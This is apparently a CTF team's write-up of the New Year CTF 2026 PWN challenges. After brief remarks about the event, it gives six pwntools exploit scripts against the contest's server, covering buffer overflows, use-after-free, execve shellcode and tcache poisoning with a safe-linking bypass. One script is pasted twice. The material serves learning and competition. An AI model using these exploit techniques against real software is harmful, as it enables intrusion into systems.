team-logo
Published on

New Year CTF 2026 - PWN challenges

Authors

Introduction

Between January 10th and 12th, one of the first CTFs of the year took place - New Year CTF 2026. This Belarusian CTF, organized by Beavers0, is characterized by a large number of fairly simple tasks, although there are also more difficult ones. Communication with other players takes place on Telegram, not on Discord as is usually the case. Unfortunately, the admin changed this year and didn't do a very good job. Task names were confused. Some binaries, I have the impression, were not checked. An example was pwn/bad mood where you just had to press 5 to get the flag. They fixed the binary later, but the bad taste remained. Some tasks could be solved just by putting them into ChatGPT. That's not much fun. The organizers could have tested them and added some anti-ChatGPT tricks. The web tasks were in Russian, which made penetration difficult. Interestingly, the WEB tasks and the main CTF page were hosted on the same server!!! The frustration was compounded by freezes and server downtime for several hours. But to be fair, it wasn't a bad CTF. Many tasks were fine, and this type of CTF is very useful for people who are just starting their adventure with capturing flags. Guys, try to do better next year. This time solutions for all PWNs. More details about the CTF here.

all pwn

Name

01

Solution author: JohnDoers

Solution

solution.py
import socket
import struct

HOST = "ctf.mf.grsu.by"
PORT = 9070

def recv_until(s, token: bytes):
    data = b""
    while token not in data:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    return data

def main():
    admin_shell = 0x401207
    payload = b"B" * 0x18 + struct.pack("<Q", admin_shell)  # total 0x20

    with socket.create_connection((HOST, PORT)) as s:
        # menu
        recv_until(s, b"> ")

        # 1) Create Session
        s.sendall(b"1\n")
        recv_until(s, b"Enter name: ")
        s.sendall(b"A" * 0x14)  # 20 bytes

        recv_until(s, b"> ")

        # 2) Delete Session
        s.sendall(b"2\n")
        recv_until(s, b"> ")

        # 3) Leave Feedback (reuse freed chunk, overwrite fn ptr)
        s.sendall(b"3\n")
        recv_until(s, b"Enter feedback: ")
        s.sendall(payload)

        recv_until(s, b"> ")

        # 4) Greet User -> jumps to admin_shell -> prints flag and exits
        s.sendall(b"4\n")

        out = s.recv(4096)
        print(out.decode(errors="ignore"), end="")

if __name__ == "__main__":
    main()

Taste

02

Solution author: kerszi

Solution

solution.py
from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root

HOST="nc ctf.mf.grsu.by 9071"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./taste_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)    
else:
    p = process(binary.path)    


# lazy testing (better than gpt)
# for i in range(80):
#     p = process(binary.path)
#     payload=b'A' * i + p32(0xdeadbeef)
#     p.sendlineafter(b'Enter name:',payload)
#     RECV=p.recvall()
#     warn (f"{i}: {RECV}")
#     p.close
# p = process(binary.path)

# p = remote(ADDRESS,PORT)
payload=b'A' * 36 + p32(0xdeadbeef)
p.sendlineafter(b'Enter name:',payload)

p.interactive()

New year party

03

Solution author: JohnDoers

Solution

solution.py
#!/usr/bin/env python3
from pwn import *

HOST, PORT = "ctf.mf.grsu.by", 9075

# execve("/bin/sh", ["/bin/sh", NULL], NULL) using "//bin/sh"
sc = bytes.fromhex(
    "31c0"                    # xor eax,eax
    "50"                      # push rax
    "48bb2f2f62696e2f7368"    # mov rbx, 0x68732f6e69622f2f  ; "//bin/sh"
    "53"                      # push rbx
    "4889e7"                  # mov rdi,rsp
    "50"                      # push rax
    "57"                      # push rdi
    "4889e6"                  # mov rsi,rsp
    "31d2"                    # xor edx,edx
    "b03b"                    # mov al,59
    "0f05"                    # syscall
)

assert b"\x00" not in sc and b"\n" not in sc

io = remote(HOST, PORT)
io.recvline(timeout=1)
io.send(sc + b"\n")
io.interactive()

New year show

04

Solution author: Grzechu

Solution

solution.py
#!/usr/bin/env python3
"""
Buffer overflow w update_wish_list() pozwala nadpisać is_santa następnego helpera.
"""

from pwn import *

HOST = "ctf.mf.grsu.by"
PORT = 9074

def exploit():
    context.log_level = 'info'
    
    r = remote(HOST, PORT)
    
    # KROK 1: Rejestrujemy pierwszego helpera (pozycja 2)
    r.recvuntil(b"> ")
    r.sendline(b"2")
    r.recvuntil(b"name: ")
    r.sendline(b"AAAA")
    r.recvuntil(b"phrase: ")
    r.sendline(b"pass1")
    r.recvuntil(b"wish list?: ")
    r.sendline(b"wish1")
    print("[+] Zarejestrowano AAAA")
    
    # KROK 2: Rejestrujemy drugiego helpera (pozycja 3)
    r.recvuntil(b"> ")
    r.sendline(b"2")
    r.recvuntil(b"name: ")
    r.sendline(b"BBBB")
    r.recvuntil(b"phrase: ")
    r.sendline(b"pass2")
    r.recvuntil(b"wish list?: ")
    r.sendline(b"wish2")
    print("[+] Zarejestrowano BBBB")
    
    # KROK 3: Logujemy się jako AAAA
    r.recvuntil(b"> ")
    r.sendline(b"1")
    r.recvuntil(b"name: ")
    r.sendline(b"AAAA")
    r.recvuntil(b"phrase: ")
    r.sendline(b"pass1")
    print("[+] Zalogowano jako AAAA")
    
    # KROK 4: Update wish list z overflow
    # Offset: wish_list -> is_santa następnego = 0x88 - 0x3d = 75 bajtów
    r.recvuntil(b"> ")
    r.sendline(b"2")
    r.recvuntil(b"wish list: ")
    
    payload = b"A" * 75 + b"\x01"
    r.sendline(payload)
    print("[+] Wysłano overflow payload")
    
    # KROK 5: Wracamy do menu głównego
    r.recvuntil(b"> ")
    r.sendline(b"4")
    
    # KROK 6: Logujemy się jako BBBB (z nadpisanym is_santa)
    r.recvuntil(b"> ")
    r.sendline(b"1")
    r.recvuntil(b"name: ")
    r.sendline(b"BBBB")
    r.recvuntil(b"phrase: ")
    r.sendline(b"pass2")
    print("[+] Zalogowano jako BBBB")
    
    # KROK 7: Get Special Gift
    r.recvuntil(b"> ")
    r.sendline(b"3")
    
    response = r.recvall(timeout=3)
    print("\n" + "="*50)
    print("WYNIK:")
    print(response.decode())
    print("="*50)

if __name__ == "__main__":
    exploit()

Secrets

05

Solution author: Grzechu

Solution

solution.py
#!/usr/bin/env python3
"""
CTF: Secrets - Heap exploitation challenge (tcache poisoning with safe-linking bypass)
Target: nc ctf.mf.grsu.by 9072
GLIBC: 2.41 (uses safe-linking for tcache)

=== VULNERABILITY ANALYSIS ===

1. UAF (Use-After-Free) in free_note():
   - Frees the chunk but doesn't NULL the pointer in notes[] array
   
2. Dangling pointer in edit_note():
   - Writes to notes[idx] without checking if chunk is freed
   - Allows writing to freed tcache chunk
   
3. Info leak in read_note():
   - Reads from notes[idx] without checking if freed
   - Leaks tcache fd pointer (needed for safe-linking bypass)

=== ATTACK STRATEGY ===

Goal: Overwrite admin_key (0x4040c0) with "HACKED" to pass check_admin()

Tcache Poisoning Attack:
1. Alloc note 0
2. Free note 0 → chunk goes to tcache, fd = mangle(chunk_addr, 0)
3. Read note 0 → leak mangled fd = chunk_addr >> 12 (since next=0)
4. Edit note 0 → overwrite fd with mangle(chunk_addr, admin_key)
5. Alloc note 1 → returns the freed chunk
6. Alloc note 2 → returns fake chunk at admin_key
7. Write "HACKED" to admin_key
8. Call check_admin() → get flag!

Safe-Linking in glibc >= 2.32:
  mangle(pos, ptr) = (pos >> 12) ^ ptr
  demangle(pos, val) = (pos >> 12) ^ val
  
For first freed chunk: stored_fd = (chunk_addr >> 12) ^ 0 = chunk_addr >> 12

Key addresses:
- admin_key @ 0x4040c0 (strcmp with "HACKED" for flag)
- notes[]   @ 0x4040e0 (array of 10 pointers)
"""
from pwn import *

# ==== CONFIGURATION ====
HOST = "ctf.mf.grsu.by"
PORT = 9072
ADMIN_KEY = 0x4040c0

context.log_level = 'info'

# ==== HELPER FUNCTIONS ====
def alloc_note(p, idx, data):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Index (0-9): ", str(idx).encode())
    p.sendafter(b"Enter data: ", data)

def free_note(p, idx):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Index (0-9): ", str(idx).encode())

def edit_note(p, idx, data):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Index (0-9): ", str(idx).encode())
    p.sendafter(b"New data: ", data)

def read_note(p, idx):
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b"Index (0-9): ", str(idx).encode())
    return p.recv(0x30, timeout=2)

def check_admin(p):
    p.sendlineafter(b"> ", b"5")

# ==== MAIN EXPLOIT ====
def main():
    log.info("Connecting to target...")
    p = remote(HOST, PORT)
    # p = process("./secrets")  # Uncomment for local testing
    
    # We need tcache count >= 2 for two allocations
    # Approach: allocate 2 chunks, free both, poison one
    
    log.info("[1/8] Allocating chunks 0 and 1...")
    alloc_note(p, 0, b"AAAAAAAA")
    alloc_note(p, 1, b"BBBBBBBB")
    
    log.info("[2/8] Freeing both chunks (1 then 0)...")
    free_note(p, 1)  # tcache: chunk1 -> NULL, count=1
    free_note(p, 0)  # tcache: chunk0 -> chunk1 -> NULL, count=2
    
    log.info("[3/8] Reading freed chunk 0 to leak...")
    leaked = read_note(p, 0)
    
    # chunk0's fd = (chunk0_addr >> 12) ^ chunk1_addr
    mangled_fd = u64(leaked[:8])
    log.info(f"Mangled fd (points to chunk1): {hex(mangled_fd)}")
    
    # We need to figure out heap_key = chunk0_addr >> 12
    # Let's read chunk1 too - its fd should be (chunk1_addr >> 12) ^ 0
    log.info("[4/8] Reading freed chunk 1 to get heap key...")
    leaked1 = read_note(p, 1)
    heap_key_from_chunk1 = u64(leaked1[:8])
    log.info(f"Chunk1's fd (heap_key if last): {hex(heap_key_from_chunk1)}")
    
    # chunk1's fd = chunk1_addr >> 12 (since next is NULL)
    # chunk0_addr should be close to chunk1_addr (same page usually)
    # So chunk0_addr >> 12 ≈ chunk1_addr >> 12
    
    heap_key = heap_key_from_chunk1
    log.info(f"Using heap_key: {hex(heap_key)}")
    
    # Now poison chunk0's fd to point to admin_key instead of chunk1
    log.info("[5/8] Poisoning chunk0's fd to admin_key...")
    encoded_admin = heap_key ^ ADMIN_KEY
    log.info(f"Target: {hex(ADMIN_KEY)}")
    log.info(f"Encoded: {hex(encoded_admin)}")
    
    edit_note(p, 0, p64(encoded_admin))
    
    # Now tcache: chunk0 -> admin_key -> ???, count=2
    
    log.info("[6/8] Allocating at index 2 (gets chunk0)...")
    alloc_note(p, 2, b"CCCCCCCC")
    
    log.info("[7/8] Allocating at index 3 (should get admin_key!)...")
    alloc_note(p, 3, b"HACKED\x00")
    
    log.info("[8/8] Checking admin key to get flag...")
    check_admin(p)
    
    p.interactive()

if __name__ == "__main__":
    main()

Bad Mood

06

Solution author: Grzechu

Solution

solution.py
#!/usr/bin/env python3

from pwn import *

REMOTE = True
HOST = "ctf.mf.grsu.by"
PORT = 9073

context.arch = 'amd64'
context.log_level = 'info'  # Full debug output

MEMO_OFFSET = 0x402008
ADMIN_HASH_OFFSET = 0x4040c0
NOPE_HASH = 0x50dcdcc6356078e1

def alloc_note(io, idx, data):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"Data: ", data)

def free_note(io, idx):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"Index: ", str(idx).encode())

def edit_note(io, idx, data):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"Data: ", data)

def read_note(io, idx):
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"Index: ", str(idx).encode())
    return io.recv(0x68)

def main():
    io = remote(HOST, PORT)
    
    log.info("=== Bad Mood Exploit ===")
    
    alloc_note(io, 0, b"A" * 0x60)
    alloc_note(io, 1, b"B" * 0x60)
    free_note(io, 0)
    
    data = read_note(io, 0)
    leaked_mangled_0 = u64(data[:8])
    default_tag_ptr = u64(data[0x60:0x68])
    
    pie_base = default_tag_ptr - MEMO_OFFSET
    admin_hash_addr = pie_base + ADMIN_HASH_OFFSET
    
    log.success(f"PIE base: {hex(pie_base)}")
    log.success(f"admin_hash @ {hex(admin_hash_addr)}")
    
    free_note(io, 1)
    
    data1 = read_note(io, 1)
    leaked_mangled_1 = u64(data1[:8])
    
    chunk0_user = leaked_mangled_0 ^ leaked_mangled_1
    mangle_key = leaked_mangled_0
    
    log.info(f"Heap chunk: {hex(chunk0_user)}")
    log.info(f"Mangle key: {hex(mangle_key)}")
    
    target_mangled = admin_hash_addr ^ mangle_key
    log.info(f"Target mangled: {hex(target_mangled)}")
    
    edit_note(io, 1, p64(target_mangled) + b"C" * (0x60 - 8))
    alloc_note(io, 2, b"D" * 0x60)
    
    payload = p64(NOPE_HASH) + b"\x00" * (0x60 - 8)
    alloc_note(io, 3, payload)
    
    log.info("Sending check_admin...")
    io.sendlineafter(b"> ", b"5")
    
    # Try to receive whatever comes back
    try:
        response = io.recvall(timeout=3)
        log.info(f"Response: {response}")
    except:
        log.info("Connection closed")
    
    io.close()

if __name__ == "__main__":
    main()```#!/usr/bin/env python3

from pwn import *

REMOTE = True
HOST = "ctf.mf.grsu.by"
PORT = 9073

context.arch = 'amd64'
context.log_level = 'info'  # Full debug output

MEMO_OFFSET = 0x402008
ADMIN_HASH_OFFSET = 0x4040c0
NOPE_HASH = 0x50dcdcc6356078e1

def alloc_note(io, idx, data):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"Data: ", data)

def free_note(io, idx):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"Index: ", str(idx).encode())

def edit_note(io, idx, data):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"Data: ", data)

def read_note(io, idx):
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"Index: ", str(idx).encode())
    return io.recv(0x68)

def main():
    io = remote(HOST, PORT)
    
    log.info("=== Bad Mood Exploit ===")
    
    alloc_note(io, 0, b"A" * 0x60)
    alloc_note(io, 1, b"B" * 0x60)
    free_note(io, 0)
    
    data = read_note(io, 0)
    leaked_mangled_0 = u64(data[:8])
    default_tag_ptr = u64(data[0x60:0x68])
    
    pie_base = default_tag_ptr - MEMO_OFFSET
    admin_hash_addr = pie_base + ADMIN_HASH_OFFSET
    
    log.success(f"PIE base: {hex(pie_base)}")
    log.success(f"admin_hash @ {hex(admin_hash_addr)}")
    
    free_note(io, 1)
    
    data1 = read_note(io, 1)
    leaked_mangled_1 = u64(data1[:8])
    
    chunk0_user = leaked_mangled_0 ^ leaked_mangled_1
    mangle_key = leaked_mangled_0
    
    log.info(f"Heap chunk: {hex(chunk0_user)}")
    log.info(f"Mangle key: {hex(mangle_key)}")
    
    target_mangled = admin_hash_addr ^ mangle_key
    log.info(f"Target mangled: {hex(target_mangled)}")
    
    edit_note(io, 1, p64(target_mangled) + b"C" * (0x60 - 8))
    alloc_note(io, 2, b"D" * 0x60)
    
    payload = p64(NOPE_HASH) + b"\x00" * (0x60 - 8)
    alloc_note(io, 3, payload)
    
    log.info("Sending check_admin...")
    io.sendlineafter(b"> ", b"5")
    
    # Try to receive whatever comes back
    try:
        response = io.recvall(timeout=3)
        log.info(f"Response: {response}")
    except:
        log.info("Connection closed")
    
    io.close()

if __name__ == "__main__":
    main()

Bonus

You can find all binaries here.